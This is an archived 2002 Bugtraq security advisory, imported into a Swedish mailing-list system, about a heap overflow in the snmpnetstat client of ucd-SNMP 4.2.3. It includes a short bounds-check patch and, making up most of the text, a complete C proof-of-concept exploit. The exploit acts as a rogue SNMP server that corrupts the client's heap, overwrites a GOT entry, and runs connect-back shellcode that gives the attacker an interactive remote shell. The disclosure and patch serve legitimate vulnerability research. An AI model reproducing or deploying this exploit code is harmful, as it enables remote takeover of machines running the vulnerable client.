7744089 2002-01-03 16:11 +0100 /84 rader/ Juan M. de la Torre <jmtorre@axiomasistemas.com> Sänt av: joel@lysator.liu.se Importerad: 2002-01-03 22:56 av Brevbäraren Extern mottagare: bugtraq@securityfocus.com Externa svar till: jmtorre@axiomasistemas.com Mottagare: Bugtraq (import) <20351> Kommentar till text 7739325 av Matt Conover <shok@dataforce.net> Ärende: Heap overflow in snmpnetstat ------------------------------------------------------------ From: "Juan M. de la Torre" <jmtorre@axiomasistemas.com> To: bugtraq@securityfocus.com Message-ID: <200201031611240510.017D641A@mail.axiomasistemas.com> ---------------------------- Axioma Security Research January 3, 2002 A D V I S O R Y www.axiomasistemas.com ---------------------------- Platforms : All : Tested on Red Hat Linux 7.1 Application : snmpnetstat from ucd-SNMP-4.2.3 (www.net-snmp.org) Impact : Remote access to the snmpnetstat client machine Overview -------- snmpnetstat, a tool from ucd-snmp package, has a remotely exploitable heap overflow when parsing the server replies. A possible patch and a proof of concept exploit are attached. Vendor status ------------- Contacted Details ------- When snmpnetstat request the list of interfaces, it first allocs an array to hold all the structs, one for each interface fetched. Then, it sends a getnextrequest PDU to the server requesting ifindex, ifaddr and ifnetmask, and saves this values in the first null entry of the array. Then it sends another getnextrequest PDU requesting ifindex, and some other variables. If the ifindex value returned by server is different from the one previusly fetched, and the interface currently being scanned is the last, the memory located after the array will be overwritten with the variables returned by server, causing a heap overflow. The research team of Axioma Sistemas has been able to exploit this flaw, providing a default offset for redhat 7.1. See atached exploit. Axioma Sistemas is unaware at this time if previous versions of snmpnetstat are affected by the vulnerability described in this advisory, but probably are. Recommendations --------------- Apply the patch attached or upgrade to the next release of Net-SNMP when available Credits ------- Axioma Security Research would like to thank Juan M. de la Torre (jmtorre@axiomasistemas.com) for discovering and researching this vulnerability ------------------- About Axioma Sistemas Axioma is a leading security consultant for the Internet founded to help corporations to improve their network security. With penetration tests and a high level of security assessment, Axioma is able to give to comercial banks, telecommunication companies and much more customers, the security they need. (7744089) /Juan M. de la Torre <jmtorre@axiomasistemas.com>/ Bilaga (application/octet-stream) i text 7744090 Bilaga (application/octet-stream) i text 7744091 7744090 2002-01-03 16:11 +0100 /17 rader/ Juan M. de la Torre <jmtorre@axiomasistemas.com> Bilagans filnamn: "snmp.diff" Importerad: 2002-01-03 22:56 av Brevbäraren Extern mottagare: bugtraq@securityfocus.com Externa svar till: jmtorre@axiomasistemas.com Mottagare: Bugtraq (import) <20352> Bilaga (text/plain) till text 7744089 Ärende: Bilaga (snmp.diff) till: Heap overflow in snmpnetstat ------------------------------------------------------------ *** apps/snmpnetstat/if.c_old Thu Jan 3 14:25:00 2002 --- apps/snmpnetstat/if.c Thu Jan 3 14:26:15 2002 *************** intpr(int interval) *** 280,285 **** --- 280,290 ---- case IFINDEX: ifindex = *var->val.integer; for (cur_if = if_table; cur_if->ifindex != ifindex && cur_if->ifindex != 0; cur_if++) ; + if (cur_if >= (if_table + cfg_nnets)) + { + fprintf (stderr, "Inconsistent reponse from server. Aborting\n"); + exit (0); + } cur_if->ifindex = ifindex; break; case OUTQLEN: (7744090) /Juan M. de la Torre <jmtorre@axiomasistemas.com>/(Ombruten) 7744091 2002-01-03 16:11 +0100 /859 rader/ Juan M. de la Torre <jmtorre@axiomasistemas.com> Bilagans filnamn: "snmpx.c" Importerad: 2002-01-03 22:56 av Brevbäraren Extern mottagare: bugtraq@securityfocus.com Externa svar till: jmtorre@axiomasistemas.com Mottagare: Bugtraq (import) <20353> Bilaga (text/plain) till text 7744089 Ärende: Bilaga (snmpx.c) till: Heap overflow in snmpnetstat ------------------------------------------------------------ /* * Proof of concept xploit for snmpnetstat * * This causes snmpnetstat to overwrite the GOT entry * of endprotoent with the address of a connect-back * shellcode. The shellcode has some size limitations. * * USE THIS AT YOUR OWN RISK * * Send comments to Juan M. de la Torre / jmtorre@axiomasistemas.com * http://www.axiomasistemas.com */ #include <stdio.h> #include <stdlib.h> #include <stdarg.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/poll.h> #include <netinet/in.h> #include <arpa/inet.h> #include <errno.h> #include <string.h> #include <unistd.h> #include <netdb.h> #include <getopt.h> /* * Constants */ #define ASN_SEQUENCE 0x10 #define ASN_CONSTRUCTOR 0x20 #define ASN_INTEGER 0x02 #define ASN_OCTET_STRING 0x04 #define ASN_CONTEXT 0x80 #define ASN_OBJECTID 0x06 #define SNMP_GETREQUEST (ASN_CONSTRUCTOR | ASN_CONTEXT) #define SNMP_GETNEXTREQUEST (ASN_CONSTRUCTOR | ASN_CONTEXT | 0x1) #define SNMP_GETRESPONSE (ASN_CONSTRUCTOR | ASN_CONTEXT | 0x2) enum exploit_states { STATE_LISTENING, STATE_QUITTING, STATE_WAITING_GETNEXT1, STATE_WAITING_GETNEXT2, STATE_WAITING_CONNECT }; /* * Globals (I know globals sucks, but...) */ static int state; static int session_id; static struct sockaddr_in client; static unsigned short bindport = 3234; static int use_bind_addr = 0; static unsigned long bind_addr; /* * 101 bytes connect-back shellcode xorl %eax, %eax pushl %eax # push IPPROTO_IP inc %eax pushl %eax # push SOCK_STREAM inc %eax jmp skip nop nop nop nop nop nop nop nop skip: pushl %eax # push AF_INET movl %esp, %ecx xorl %ebx, %ebx movb $0x1, %bl # SYS_SOCKET movb $102, %al # __NR_socketcall int $0x80 movl %eax, %edx # save fd in eax and edx movb $0x3, %bl # SYS_CONNECT movl %eax, (%ebp) # put fd as first argument pushl $0x0100007f # fill struct sockaddr_in pushl $0x01010002 movl %esp, 0x4(%ebp) movb $16, %al # sizeof struct sockaddr_in movl %eax, 0x8(%ebp) movl %ebp, %ecx movb $102, %al # __NR_socketcall int $0x80 decb %bl # %ebx contains '2' movzbl %dl, %ecx loop1: movb $6, %al # __NR_close int $0x80 xchgb %cl, %bl movb $63, %al # __NR_dup2 int $0x80 xchgb %cl, %bl decb %bl jge loop1 pushl $0x0068732f pushl $0x6e69622f movl %esp, %ebx xorl %edx, %edx pushl %edx pushl %ebx movl %esp, %ecx movb $0xb, %al # __NR_execve int $0x80 */ static u_char shellcode[] = { 0x31, 0xc0, 0x50, 0x40, 0x50, 0x40, 0xeb, 0x08, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x50, 0x89, 0xe1, 0x31, 0xdb, 0xb3, 0x01, 0xb0, 0x66, 0xcd, 0x80, 0x89, 0xc2, 0xb3, 0x03, 0x89, 0x45, 0x00, 0x68, 0x7f, 0x00, 0x00, 0x01, 0x68, 0x02, 0x00, 0x01, 0x01, 0x89, 0x65, 0x04, 0xb0, 0x10, 0x89, 0x45, 0x08, 0x89, 0xe9, 0xb0, 0x66, 0xcd, 0x80, 0xfe, 0xcb, 0x0f, 0xb6, 0xca, 0xb0, 0x06, 0xcd, 0x80, 0x86, 0xcb, 0xb0, 0x3f, 0xcd, 0x80, 0x86, 0xcb, 0xfe, 0xcb, 0x7d, 0xf0, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68, 0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x31, 0xd2, 0x52, 0x53, 0x89, 0xe1, 0xb0, 0x0b, 0xcd, 0x80 }; static void __attribute__ ((noreturn)) fatal (u_char *fmt, ...) { va_list ap; va_start (ap, fmt); vfprintf (stderr, fmt, ap); va_end (ap); exit (EXIT_FAILURE); } /* * ASN.1 code */ static u_char * asn_append_len (u_char *pkt, int len) { if (len <= 0x7f) { /* short len */ *pkt++ = (u_char) len; return (pkt); } if (len <= 0xff) { *pkt++ = 0x81; *pkt++ = (u_char) (len); return (pkt); } *pkt++ = 0x82; *pkt++ = (u_char) ((len & 0xff00) >> 8); *pkt++ = (u_char) (len & 0xff); return (pkt); } static u_char * asn_append_sequence (u_char *pkt, int len) { *pkt++ = (ASN_SEQUENCE | ASN_CONSTRUCTOR); pkt = asn_append_len (pkt, len); return (pkt); } static u_char * asn_append_objectid (u_char *pkt, u_char *str, int nlen) { int i = 0; *pkt++ = ASN_OBJECTID; pkt = asn_append_len (pkt, nlen); while (nlen--) *pkt++ = str[i++]; return (pkt); } static u_char * asn_append_octet_string (u_char *pkt, u_char *str, int nlen) { int i = 0; *pkt++ = ASN_OCTET_STRING; pkt = asn_append_len (pkt, nlen); while (nlen--) *pkt++ = str[i++]; return (pkt); } static u_char * asn_append_integer (u_char *pkt, unsigned long n, int nlen) { if (nlen != 4 && nlen != 2 && nlen != 1) fatal ("error: bad nlen in asn_append_integer(): %i\n", nlen); *pkt++ = ASN_INTEGER; *pkt++ = (u_char) (nlen & 0xff); switch (nlen) { case 1: *pkt++ = (u_char) (n & 0xff); break; case 2: *pkt++ = (u_char) ((n & 0xff00) >> 8); *pkt++ = (u_char) (n & 0xff); break; case 4: *pkt++ = (u_char) ((n & 0xff000000) >> 24); *pkt++ = (u_char) ((n & 0xff0000) >> 16); *pkt++ = (u_char) ((n & 0xff00) >> 8); *pkt++ = (u_char) (n & 0xff); break; } return (pkt); } static u_char * asn_get_octet_string (u_char *pkt, u_char *dst) { int len, i = 0; if (*pkt++ != ASN_OCTET_STRING) fatal ("error: error while talking to client\n"); len = *pkt++; while (len--) dst[i++] = *pkt++; return (pkt); } static u_char * asn_get_objectid (u_char *pkt, u_char *dst) { int len, i = 0; if (*pkt++ != ASN_OBJECTID) fatal ("error: error while talking to client\n"); len = *pkt++; while (len--) dst[i++] = *pkt++; return (pkt); } static u_char * asn_get_integer (u_char *pkt, int *pdst) { int len, nbits, dst; if (*pkt++ != ASN_INTEGER) fatal ("error: error while talking to client\n"); len = *pkt++; if (len != 1 && len != 2 && len != 4) fatal ("error: incorrent integer len received from client\n"); switch (len) { case 4: nbits = 24; break; case 2: nbits = 8; break; case 1: nbits = 0; break; } dst = 0; while (len--) { dst |= ((*pkt++) << nbits); nbits -= 8; } *pdst = dst; return (pkt); } static unsigned long get_source_addr (struct sockaddr_in *s_in) { int sd, slen; struct sockaddr_in me; if ((sd = socket (AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) fatal ("socket(): %s\n", strerror (errno)); if (connect (sd, (struct sockaddr *) s_in, sizeof (struct sockaddr_in)) < 0) fatal ("connect(): %s\n", strerror (errno)); slen = sizeof (me); if (getsockname (sd, (struct sockaddr *) &me, &slen) < 0) fatal ("getsockname(): %s\n", strerror (errno)); close (sd); return ((unsigned long) me.sin_addr.s_addr); } typedef struct { unsigned long psize; unsigned long size; /* 0x1 -> PREV_INUSE */ unsigned long fd; unsigned long bk; } chunk_t; #define PREV_INUSE 0x1 static u_char * make_evil_str (int *plen) { int len; static u_char buf[BUFSIZ]; chunk_t *c; unsigned long *ip; unsigned short *port; memset (buf, 0x90, BUFSIZ); c = (chunk_t *) (buf - 4); /* leave psize of first chunk unused */ c->size = 0x16UL; c->fd = 0x807dbe8; c->bk = 0x8050df0 - 8; c++; c->size = 0UL; /* zero PREV_INUSE bit */ len = 12 + 16 + 14 + sizeof (shellcode); memcpy (buf + 16 + 4, shellcode, sizeof (shellcode)); ip = (unsigned long *) (buf + 16 + 4 + 35); *ip = (use_bind_addr ? bind_addr : get_source_addr (&client)); port = (unsigned short *) (buf + 16 + 4 + 42); *port = htons (bindport); *plen = len; return (buf); } /* * SNMP code */ static void snmp_waiting_getnext2 (int sd, u_char *buf) { u_char *ptr = buf; int version, foo; u_char comm[BUFSIZ], resp[BUFSIZ]; u_char oids[11][BUFSIZ]; int i, len, evil_str_len; u_char *evil_str = NULL; if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR)) fatal ("error: protocol error\n"); ptr += 2; ptr = asn_get_integer (ptr, &version); if (version != 0) fatal ("error: client uses a version different from 0\n"); memset (comm, 0, sizeof (comm)); ptr = asn_get_octet_string (ptr, comm); if (*ptr++ != SNMP_GETNEXTREQUEST) fatal ("error: protocol error\n"); ptr += 2; /* skip len */ ptr = asn_get_integer (ptr, &session_id); ptr = asn_get_integer (ptr, &foo); ptr = asn_get_integer (ptr, &foo); if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR)) fatal ("error: protocol error\n"); ptr += 2; for (i = 0; i < 11; i++) { if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR)) fatal ("error: protocol error\n"); ptr++; ptr = asn_get_objectid (ptr, oids[i]); ptr += 2; } memset (resp, 0, sizeof (resp)); ptr = resp; evil_str = make_evil_str (&evil_str_len); /* calculate len of the response */ len = 3 + (2 + strlen (comm)) + 4 + 6 + 3 + 3 + 4; len += (11 * 14) + 40 + evil_str_len + 2; ptr = asn_append_sequence (ptr, len); ptr = asn_append_integer (ptr, 0, 1); ptr = asn_append_octet_string (ptr, comm, strlen (comm)); *ptr++ = SNMP_GETRESPONSE; /* calculate len of the getresponse PDU */ len -= (3 + (2 + strlen (comm)) + 4); ptr = asn_append_len (ptr, len); ptr = asn_append_integer (ptr, session_id, 4); ptr = asn_append_integer (ptr, 0, 1); ptr = asn_append_integer (ptr, 0, 1); /* calculate len of data */ len -= (6 + 3 + 3 + 4); ptr = asn_append_sequence (ptr, len); for (i = 0; i < 11; i++) { len = 12; oids[i][9]++; switch (oids[i][8]) { case 1: /* ifindex */ len += 4; ptr = asn_append_sequence (ptr, len); ptr = asn_append_objectid (ptr, oids[i], 10); ptr = asn_append_integer (ptr, 2, 1); break; case 2: /* ifname */ len += 3 + evil_str_len; ptr = asn_append_sequence (ptr, len); ptr = asn_append_objectid (ptr, oids[i], 10); ptr = asn_append_octet_string (ptr, evil_str, evil_str_len); break; case 4: /* ifmtu */ case 8: /* ifoperstatus */ len += 4; ptr = asn_append_sequence (ptr, len); ptr = asn_append_objectid (ptr, oids[i], 10); ptr = asn_append_integer (ptr, 2, 2); break; case 0xb: /* INUCASTPKTS */ case 0xc: /* INNUCASTPKTS */ case 0xe: /* INERRORS */ case 0x11: /* OUTUCASTPKTS */ case 0x12: /* OUTNUCASTPKTS */ case 0x14: /* OUTERRORS */ len += 4; ptr = asn_append_sequence (ptr, len); ptr = asn_append_objectid (ptr, oids[i], 10); *ptr++ = 0x41; *ptr++ = 2; *ptr++ = 1; *ptr++ = 1; break; case 0x15: /* OUTQLEN */ len += 3; ptr = asn_append_sequence (ptr, len); ptr = asn_append_objectid (ptr, oids[i], 10); *ptr++ = 0x42; *ptr++ = 1; *ptr++ = 0; break; } } len = (ptr - resp); if (sendto (sd, resp, len, 0, (struct sockaddr *) &client, sizeof (client)) != len) perror ("sendto()"), exit (EXIT_FAILURE); state = STATE_WAITING_CONNECT; } static void snmp_waiting_getnext1 (int sd, u_char *buf) { u_char *ptr = buf; u_char len; int version, foo; u_char comm[BUFSIZ], oid1[BUFSIZ], oid2[BUFSIZ], oid3[BUFSIZ]; u_char resp[BUFSIZ]; if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR)) fatal ("error: protocol error\n"); len = *ptr++; ptr = asn_get_integer (ptr, &version); if (version != 0) fatal ("error: client uses a version different from 0\n"); memset (comm, 0, sizeof (comm)); ptr = asn_get_octet_string (ptr, comm); if (*ptr++ != SNMP_GETNEXTREQUEST) fatal ("error: protocol error\n"); ptr++; /* skip len */ ptr = asn_get_integer (ptr, &session_id); ptr = asn_get_integer (ptr, &foo); ptr = asn_get_integer (ptr, &foo); if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR)) fatal ("error: protocol error\n"); ptr++; if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR)) fatal ("error: protocol error\n"); ptr++; ptr = asn_get_objectid (ptr, oid1); if (memcmp (oid1, "\x2B\x06\x01\x02\x01\x04\x14\x01\x02\x00\x00\x00\x00", 0x0D) != 0) fatal ("error: protocol error\n"); ptr += 2; if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR)) fatal ("error: protocol error\n"); ptr++; ptr = asn_get_objectid (ptr, oid2); if (memcmp (oid2, "\x2B\x06\x01\x02\x01\x04\x14\x01\x01\x00\x00\x00\x00", 0x0D) != 0) fatal ("error: protocol error\n"); ptr += 2; if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR)) fatal ("error: protocol error\n"); ptr++; ptr = asn_get_objectid (ptr, oid3); if (memcmp (oid3, "\x2B\x06\x01\x02\x01\x04\x14\x01\x03\x00\x00\x00\x00", 0x0D) != 0) fatal ("error: protocol error\n"); memset (resp, 0, sizeof (resp)); ptr = resp; ptr = asn_append_sequence (ptr, 0x54 + 9); ptr = asn_append_integer (ptr, 0, 1); ptr = asn_append_octet_string (ptr, comm, strlen (comm)); *ptr++ = SNMP_GETRESPONSE; *ptr++ = 0x47 + 9; ptr = asn_append_integer (ptr, session_id, 4); ptr = asn_append_integer (ptr, 0, 1); ptr = asn_append_integer (ptr, 0, 1); ptr = asn_append_sequence (ptr, 0x39 + 9); ptr = asn_append_sequence (ptr, 0x11 + 1); ptr = asn_append_objectid (ptr, oid1, 0x0D); ptr = asn_append_integer (ptr, 1, 1); ptr = asn_append_sequence (ptr, 0x11 + 4); ptr = asn_append_objectid (ptr, oid2, 0x0D); ptr = asn_append_integer (ptr, 0xaabbccdd, 4); ptr = asn_append_sequence (ptr, 0x11 + 4); ptr = asn_append_objectid (ptr, oid3, 0x0D); ptr = asn_append_integer (ptr, 0xaabbccdd, 4); len = (ptr - resp); if (sendto (sd, resp, len, 0, (struct sockaddr *) &client, sizeof (client)) != len) perror ("sendto()"), exit (EXIT_FAILURE); state = STATE_WAITING_GETNEXT2; } static void snmp_listening (int sd, u_char *buf) { u_char *ptr = buf; u_char len; int version, foo; u_char comm[BUFSIZ], oid[BUFSIZ]; u_char resp[BUFSIZ]; if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR)) fatal ("error: protocol error\n"); len = *ptr++; ptr = asn_get_integer (ptr, &version); if (version != 0) fatal ("error: client uses a version different from 0\n"); memset (comm, 0, sizeof (comm)); ptr = asn_get_octet_string (ptr, comm); if (*ptr++ != SNMP_GETREQUEST) fatal ("error: protocol error\n"); ptr++; /* skip len */ ptr = asn_get_integer (ptr, &session_id); ptr = asn_get_integer (ptr, &foo); ptr = asn_get_integer (ptr, &foo); if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR)) fatal ("error: protocol error\n"); ptr++; if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR)) fatal ("error: protocol error\n"); ptr++; ptr = asn_get_objectid (ptr, oid); if (memcmp (oid, "\x2B\x06\x01\x02\x01\x02\x01\x00", 8) != 0) fatal ("error: protocol error\n"); memset (resp, 0, sizeof (resp)); ptr = resp; ptr = asn_append_sequence (ptr, 42); ptr = asn_append_integer (ptr, 0, 1); ptr = asn_append_octet_string (ptr, comm, strlen (comm)); *ptr++ = SNMP_GETRESPONSE; *ptr++ = 0x1D; ptr = asn_append_integer (ptr, session_id, 4); ptr = asn_append_integer (ptr, 0, 1); ptr = asn_append_integer (ptr, 0, 1); ptr = asn_append_sequence (ptr, 0x0F); ptr = asn_append_sequence (ptr, 0x0D); ptr = asn_append_objectid (ptr, oid, 8); ptr = asn_append_integer (ptr, 1, 1); len = (ptr - resp); if (sendto (sd, resp, len, 0, (struct sockaddr *) &client, sizeof (client)) != len) perror ("sendto()"), exit (EXIT_FAILURE); state = STATE_WAITING_GETNEXT1; } static void bindshell (int sd) { struct pollfd fds[2]; u_char *cmds = "pwd; id; uname -a\n"; u_char buf[BUFSIZ]; int n; write (sd, cmds, strlen (cmds)); while (1) { memset (&fds, 0, sizeof (fds)); fds[0].events = fds[1].events = POLLIN; fds[0].fd = sd; fds[1].fd = 0; if (poll (fds, 2, -1) < 0) fatal ("poll(): %s\n", strerror (errno)); if (fds[0].revents & (POLLERR | POLLNVAL | POLLHUP)) fatal ("connection closed\n"); if (fds[0].revents & POLLIN) { n = read (fds[0].fd, buf, BUFSIZ); if (n < 1) fatal ("connection closed\n"); write (1, buf, n); } if (fds[1].revents & POLLIN) { n = read (fds[1].fd, buf, BUFSIZ); write (sd, buf, n); } } } static void snmp_waiting_connect (void) { int sd, val, fsd, slen; struct sockaddr_in s_in; struct pollfd pfd; if ((sd = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) fatal ("socket(): %s\n", strerror (errno)); memset (&s_in, 0, sizeof (s_in)); s_in.sin_family = AF_INET; s_in.sin_addr.s_addr = (use_bind_addr ? bind_addr : INADDR_ANY); s_in.sin_port = htons (bindport); if (bind (sd, (struct sockaddr *) &s_in, sizeof (s_in)) < 0) fatal ("bind(): %s\n", strerror (errno)); listen (sd, 5); fprintf (stderr, "awaiting connection from client...\n"); memset (&pfd, 0, sizeof (pfd)); pfd.fd = sd; pfd.events = POLLIN; if ((val = poll (&pfd, 1, 20 * 1000)) < 0) fatal ("poll(): %s\n", strerror (errno)); if (val < 1 || pfd.revents & (POLLERR | POLLNVAL | POLLHUP) || !(pfd.revents & POLLIN)) fatal ("no connection from client in 20 seconds. aborting\n"); memset (&s_in, 0, sizeof (s_in)); slen = sizeof (s_in); fsd = accept (sd, &s_in, &slen); close (sd); if (fsd < 0) fatal ("accept(): %s\n", strerror (errno)); fprintf (stderr, "received connection from %s:%i\n", inet_ntoa (s_in.sin_addr), htons (s_in.sin_port)); bindshell (fsd); } static void snmp_proccess (int sd, u_char *buf) { switch (state) { case STATE_LISTENING: snmp_listening (sd, buf); break; case STATE_WAITING_GETNEXT1: snmp_waiting_getnext1 (sd, buf); break; case STATE_WAITING_GETNEXT2: snmp_waiting_getnext2 (sd, buf); break; } } static void __attribute__ ((noreturn)) usage (u_char *p) { fprintf (stderr, "Usage: %s [options]\n", p); fprintf (stderr, "options:\n" "-p <port>\tsnmp port to listen on\n" "-P <port>\tconnect-back port\n" "-a <ip>\t\tbind socket to this address\n" "-h\t\tshow this\n\n"); exit (EXIT_FAILURE); } int main (int argc, char *argv[]) { int sd, slen; struct sockaddr_in s_in; u_char buf[BUFSIZ]; unsigned short snmp_port = 161; unsigned long snmp_ip = INADDR_ANY; char opt; fprintf (stderr, "\nproof of concept snmpnetstat xploit - Juan M. de la Torre <jmtorre@axiomasistemas.com>\n\n"); while ((opt = getopt (argc, argv, "p:P:a:h")) != EOF) switch (opt) { case 'p': snmp_port = atoi (optarg); break; case 'P': bindport = atoi (optarg); break; case 'a': if (inet_aton (optarg, (struct in_addr *) &snmp_ip) == 0) fatal ("%s is not a valid ip address\n", optarg); bind_addr = snmp_ip; use_bind_addr = 1; break; case 'h': /* fallthrough */ default: usage (argv[0]); } fprintf (stderr, "use -h to show usage\n"); if ((sd = socket (AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) perror ("socket()"), exit (EXIT_FAILURE); memset (&s_in, 0, sizeof (s_in)); s_in.sin_family = AF_INET; s_in.sin_port = htons (snmp_port); s_in.sin_addr.s_addr = snmp_ip; if (bind (sd, (struct sockaddr *) &s_in, sizeof (s_in)) < 0) perror ("bind()"), exit (EXIT_FAILURE); state = STATE_LISTENING; fprintf (stderr, "bound socket to %s:%i\n", inet_ntoa (s_in.sin_addr), snmp_port); while (1) { memset (buf, 0, sizeof (buf)); slen = sizeof (client); if (recvfrom (sd, buf, sizeof (buf), 0, (struct sockaddr *) &client, &slen) < 1) perror ("recvfrom()"), exit (EXIT_FAILURE); fprintf (stderr, "procesing snmp packet from %s:%i\n", inet_ntoa (client.sin_addr), htons (client.sin_port)); snmp_proccess (sd, buf); if (state == STATE_QUITTING) break; if (state == STATE_WAITING_CONNECT) { snmp_waiting_connect (); break; } } close (sd); exit (EXIT_SUCCESS); } (7744091) /Juan M. de la Torre <jmtorre@axiomasistemas.com>/(Ombruten)